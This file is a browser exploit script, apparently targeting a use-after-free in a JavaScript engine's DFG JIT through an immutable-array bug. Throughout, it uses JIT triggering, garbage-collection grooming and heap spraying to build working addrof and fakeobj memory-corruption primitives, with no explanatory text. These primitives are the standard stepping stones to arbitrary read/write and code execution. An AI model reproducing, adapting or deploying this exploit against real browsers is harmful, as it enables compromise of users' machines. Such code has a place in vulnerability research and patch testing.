8ebdf2deb8d23ca5172c75f8165bc4af5f649aa2b2a80289ab1974d27d0804cb_dfg-immutable-array-uaf.js

<script>
print = alert;
var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;

function i2f(i) {
    u32[0] = i%BASE;
    u32[1] = i/BASE;
    return f64[0];
}

function f2i(f) {
    f64[0] = f;
    return u32[0] + BASE*u32[1];
}

function unbox_double(d) {
    f64[0] = d;
    u8[6] -= 1;
    return f64[0];
}

function hex(x) {
    return `0x${x.toString(16)}`;
}

function fail(msg) {
    print(msg);
    throw null;
}

function save_args() {
    callargs = arguments;
}

I = 0;
function g(a) {
    a[0] = [I,I];
    return a;
}

function f(i) {
    var a = [42];
    A = a[0];
    if(i >= 1000)
        print('XXX ' + i + ' ' + a);
    a[0] += g(a);
    g(a);
    g(a).length = 0xffff;
}

var spray = [];

function dgc() {
    for (var i = 0; i < 100; ++i)
        new ArrayBuffer(0x100);
}

function trigger() {
    for (var i = 0; i < 500; i++) {
        I = i;
        if (i == 160) {
            dgc();
            var WAIT = 200000000;
            var s = 0;
            for (var j = 0; j < WAIT; ++j)
                s += WAIT;
        }

        if (i == 161) {
            for (var j = 0; j < 20000; ++j) {
                spray.push(save_args.bind(null, 13371337+j, {}, 13.37));
            }
        }

        f(i);
        if (A.length == 3)
            break;
    }
}
trigger();

if (A.length != 3) {
    fail("Leaked wrong object");
}
var idx = A[0]-13371337;
var bargs = A;
var bfunc = spray[idx];

function spray_arrays(a, b) {
    var first = spray.length;
    for (var j = a; j < b; ++j) {
        spray.push([
            [j+.1, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37],
            [j+.2, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37],
            [j+.3, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37],
            [j+.4, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37],
            [j+.5, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37],
        ]);
    }
    return first;
}

spray_arrays(0, 1000);
var test1 = spray[spray.length-1];


bargs[0] = 1337;
var n = 1000;
bargs[n] = 1337;

var tmp;
for (var j = 10000; j < 12000; ++j) {
    tmp = [
        [j+.1, 13.37],
        [j+.2, 13.37],
        [j+.3, 13.37],
        [j+.4, 13.37],
        [j+.5, 13.37],
    ];
}

var leakobj = {a:0x1337};

var cur = 20000;
var step = 2000000;

for (var round = 0; round < 1; ++round) {
    for (var j = cur; j < cur + step; ++j) {
        spray.push([spray.length+.1, leakobj]);
    }
    cur += step;

    bfunc();

    if (callargs[4][1] < 1.0) {
        break;
    }
}

var unboxed = callargs[4];
var boxed = spray[unbox_double(unboxed[0])-.1];

function addrof(o) {
    boxed[0] = o;
    return f2i(unboxed[0]);
}

function fakeobj(addr) {
    unboxed[0] = i2f(addr);
    return boxed[0];
}

var obj = {a:0x1337};
var addr = addrof(obj);

boxed[0] = {a:1};

var obj2 = fakeobj(addr);
if (obj2.a != 0x1337) {
    fail('fakeobj does not work');
}

print('everything good. addrof(obj) = ' + hex(addr));
</script>